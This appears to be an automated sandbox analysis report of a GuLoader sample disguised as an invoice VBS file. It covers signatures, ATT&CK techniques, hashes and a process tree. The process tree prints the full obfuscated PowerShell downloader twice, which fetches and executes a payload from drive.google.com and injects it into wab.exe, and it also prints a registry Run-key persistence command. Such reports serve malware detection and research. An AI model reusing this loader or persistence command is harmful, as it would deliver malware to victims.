guloader | ffc1579f33a8d76210bd5303172199b3e2c938a5e6e969b9e54c38e10b4158e6

Analysis

max time kernel
118s
max time network
191s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
19-09-2024 06:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Faktura_7122128240·pdf.vbs
Size

7KB
MD5

cc6e41e0786764096a50057a3743e7c6
SHA1

2493a1410d91a8084249ef9f0b3e7aa885ddef5d
SHA256

7e4a39824d8b86485d45a17ebd90a40e02a356a6a3457574303853decb61e09d
SHA512

5bfe75eb2661459a1073348cfadb64ced142baae9ff54fcd7a8733ae7ffc750f9ab41f2e1415ed275c7ec9f33257a7201bf0e5881ff0d26c2eac644c04aee38c
SSDEEP

96:lmXU2FvaJR+t7tVQm+83tkD3J8j0dEvOItsLQWSK+PtevdOYPmCVUbtCpgjPVHQv:lmk2VaJeXj0exCnItmd/Pml9jPp4jQYB

Score

10^/10

guloader discovery downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2192	powershell.exe
7	2192	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\\Hyperaktuelles\\').Midwintry;%Heliometry% ($Rrligst138)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1284	wab.exe
1284	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2624	powershell.exe
1284	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2624 set thread context of 1284	2624	powershell.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2832	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2192	powershell.exe
2624	powershell.exe
2624	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2624	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2192	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2192	2364	WScript.exe	32
PID 2364 wrote to memory of 2192	2364	WScript.exe	32
PID 2364 wrote to memory of 2192	2364	WScript.exe	32
PID 2192 wrote to memory of 2628	2192	powershell.exe	34
PID 2192 wrote to memory of 2628	2192	powershell.exe	34
PID 2192 wrote to memory of 2628	2192	powershell.exe	34
PID 2192 wrote to memory of 2624	2192	powershell.exe	35
PID 2192 wrote to memory of 2624	2192	powershell.exe	35
PID 2192 wrote to memory of 2624	2192	powershell.exe	35
PID 2192 wrote to memory of 2624	2192	powershell.exe	35
PID 2624 wrote to memory of 2024	2624	powershell.exe	36
PID 2624 wrote to memory of 2024	2624	powershell.exe	36
PID 2624 wrote to memory of 2024	2624	powershell.exe	36
PID 2624 wrote to memory of 2024	2624	powershell.exe	36
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 2624 wrote to memory of 1284	2624	powershell.exe	37
PID 1284 wrote to memory of 2936	1284	wab.exe	38
PID 1284 wrote to memory of 2936	1284	wab.exe	38
PID 1284 wrote to memory of 2936	1284	wab.exe	38
PID 1284 wrote to memory of 2936	1284	wab.exe	38
PID 2936 wrote to memory of 2832	2936	cmd.exe	40
PID 2936 wrote to memory of 2832	2936	cmd.exe	40
PID 2936 wrote to memory of 2832	2936	cmd.exe	40
PID 2936 wrote to memory of 2832	2936	cmd.exe	40

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Faktura_7122128240·pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2192
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
    3⤵
    PID:2628
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Automanipulation='sramana';$Arsenyl=${host}.Runspace;If ($Arsenyl) {$Forhjulstrkket++;$Automanipulation+='Periosteum';$Miljreform='s';$Automanipulation+='Kostfri';$Miljreform+='ubst';$Automanipulation+='simarubaceous';$Miljreform+='ri';$Automanipulation+='Unindigenous';$Miljreform+='ng';};Function Diskpladsers76($Fimsenes){$Glycocholate51=$Fimsenes.Length-$Forhjulstrkket;For( $Agrin=1;$Agrin -lt $Glycocholate51;$Agrin+=2){$Callahan10+=$Fimsenes.$Miljreform.'Invoke'( $Agrin, $Forhjulstrkket);}$Callahan10;}function Albueben($Rundhaandedes){ . ($Forlbelsers) ($Rundhaandedes);}$Kontinuerliges193=Diskpladsers76 'KMboUzGiBl.lCa /P5 .M0s (,WGi,nsdCoswssM NATU F1 0R.P0 ;T .W i nF6F4L; RxC6 4 ;, Or v :U1 2 1c.O0 ) OGNe cAkTo /.2 0s1 0.0 1s0K1G DFci r,eBfBoixM/s1F2 1 . 0 ';$Eskortefartjernes=Diskpladsers76 ',UKs e rM-NA g,eCnBt ';$Bldgrers=Diskpladsers76 'ChOtstFp s : /T/.d.r.iPvTeK.EgMoKo gFlFe .AcEo,mp/Au,cJ?Ee xsp o r t =NdCo,wEnsl oPaIdP& iPd,=B1bC,7 HC1 t f U mCn _ajsU C F KDlFE.8asJ6UFsFL_,0 M Y,v Y n gA9 iH ';$Foresattes=Diskpladsers76 ',>. ';$Forlbelsers=Diskpladsers76 'Oi e xP ';$skandinavismens='Hrenes';$Konsignationen = Diskpladsers76 'DeNc hGo .%.a pFp dEa tFa.%.\KT hPeRiss..,W,e eP &,&U e.cFhFo, st, ';Albueben (Diskpladsers76 ' $ g.l okb a l.:ssAc.o u,r,sI=B( c m.d, /Oc .$ KCo,nFsDi g nma,tCi o nGeTnr)I ');Albueben (Diskpladsers76 '.$Pgsl,oTbVaslB: LPi qNu iRd,iEz eCd.6 6R=K$ BVlsdFg r e r s .Us p lEiPtM(.$ FZoFr.e,s ast t.eXs ). ');Albueben (Diskpladsers76 'R[sNTe t . sbe rNveiOcbe,P oIifnBt M a nTaEgAeCrU].:,: s etc uArRi t y P,rNo.tsoDc,oBlT T=. .[.N eDt,.Bsme cPu r iUt yRPDr ost.o,cEoNlPT y pCe ]s:D: T.l sF1E2, ');$Bldgrers=$Liquidized66[0];$sknnere= (Diskpladsers76 'G$Ug lDoTb.a,lF:FCTosp isnbgBs =FNUeBw.-VOYbUj,ePc.t Ps y s.t.eBm . N.eAt .TWCeFb C.l.iAeTn t');$sknnere+=$scours[1];Albueben ($sknnere);Albueben (Diskpladsers76 't$.Cso,p.i.n gBs...H,e,a.dseOrHsN[E$.EOs.kMoNr tCeIfEairHt jReArHn.ets ] = $.K,o n t i.n u e r.l i g e sC1 9 3U ');$Opt=Diskpladsers76 ' $ CIoIp.iDnBg.ss. D o w.n lOo aGd F iFl eB( $ BPlsdIg r.e,r.sD,,$CD iCePs,e.l i zTaBt iPo nEsO)F ';$Dieselizations=$scours[0];Albueben (Diskpladsers76 ' $Tg,l o b aTl,:,B o y efs =,(CTEessOtA-YP a tLh, P$TDHiLeTs,eEl iEz aNtPi o.nDsU)s ');while (!$Boyes) {Albueben (Diskpladsers76 'a$ g l oPb,asl : sOm i.t.aBbBl e,=P$at rVuKe ') ;Albueben $Opt;Albueben (Diskpladsers76 ' sPtUa,r,t.-fs lPesesps R4, ');Albueben (Diskpladsers76 ',$BgslRo,b aWl :,BLo yDeRs =M( TGe.sHtM-OP.aMtshP M$,DsireLs eFl i z.a t.iEo,nFs ) ') ;Albueben (Diskpladsers76 'I$ g l,o,b.aulT:EG r u nEd.sBk u d dPeVt,9,0s=.$FgRl oTb aslB:IL nCsPu.msmUe rL+B+C%A$ LDiAqsu i dPiBzPe dH6.6P. c oAuan,t. ') ;$Bldgrers=$Liquidized66[$Grundskuddet90];}$Rensningsforanstaltninger=311121;$Denaturerende=27562;Albueben (Diskpladsers76 ' $sgPlso,b a.l :bF o rAr.eGtKnPipn g.s gAr uFn dsl a g =W G.e tD-MCsoGnEtAeAn tR H$HD iOeMsLe,l,i zIaRtUi,o,n s. ');Albueben (Diskpladsers76 'A$.g lPo b a ls:NsBp eTc,i f.iTkUaTtsiso,n s m e t o dFiBkCsB .=, ,[ sfy sOtsePmH. C,o nPv eArCtA]d:C:AF,r oFmGBGa s eB6 4,s.t.rEiUnAg ( $GF osrsrPe.t nei n g sOg rAu nCdslmaHgE)M ');Albueben (Diskpladsers76 '.$ gsl o bVaTl :.GraFl a,nBe r b= k[ sAyUs,tIesmK.,T.e.xPta.IE.nsc oVd,iHn,g ],:s:KAFs C,I Ie. GTe,tFs,t.r,iPnDgD(,$Ks.p e c.i.f i ksaAt.iPo nss,mTe.t o d,i.k s )T ');Albueben (Diskpladsers76 'g$Fg l,oKb,aHl :.H a eUm.n i nTg.= $sG.aLl a,nEe r,.Ns u,b,sAtGr i,nLg.(s$HR e.n,s.n.i nRg,sRf o.r.a,n,s,tAa l t,nRi n,gse rb,s$ DWe nGa,t u rMe.rReDnsdCes)I ');Albueben $Haemning;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Theis.Wee && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2024
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1284
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2936
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Heliometry% -w 1 $Rrligst138=(Get-ItemProperty -Path 'HKCU:\Hyperaktuelles\').Midwintry;%Heliometry% ($Rrligst138)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZLWG03U4JOY1CLT7U6ID.temp

Filesize
7KB

MD5
c7a62352a5b9701a1c31322e32423ed0

SHA1
5b5204a480cd825f48c9978e380c1ded0e0673bd

SHA256
4b401eb9c7548b1d49dc21526ce2c2ec572e5d3f6de3849587017ffbcfd2230c

SHA512
8e565a24783e0e9fe1968d5a63cba76b3565e3cf05c0a6fae13107b78e396249700cfacf5e5d40da2ad89fc692151b4d7ece066877d11e64e19d2bdebb9c3a0c

Download Submit
C:\Users\Admin\AppData\Roaming\Theis.Wee

Filesize
440KB

MD5
101f0456c78a51dc6621f338fa0590e6

SHA1
744017fe918a845dfc161516dab0f86579912507

SHA256
3663b6fbf739bde311b85220fc41f266ec6f90cc6445c3ce77f3db94972aeac3

SHA512
f56f372d17ee4843b3c68831d66549ccd9d72a4effebac7c53f4dda841d5454f4599f736db890f055604e2b179eab4c43836162567bdd1e63a598a807386a5f0

Download Submit
memory/1284-43-0x00000000015B0000-0x0000000003C1F000-memory.dmp

Filesize
38.4MB

Download
memory/1284-41-0x0000000000540000-0x00000000015A2000-memory.dmp

Filesize
16.4MB

Download
memory/2192-10-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-9-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-6-0x000000001B800000-0x000000001BAE2000-memory.dmp

Filesize
2.9MB

Download
memory/2192-11-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-12-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-13-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

Filesize
4KB

Download
memory/2192-15-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-4-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

Filesize
4KB

Download
memory/2192-8-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-7-0x00000000005B0000-0x00000000005B8000-memory.dmp

Filesize
32KB

Download
memory/2192-5-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2192-45-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

Filesize
9.6MB

Download
memory/2624-20-0x0000000006570000-0x0000000008BDF000-memory.dmp

Filesize
38.4MB

Download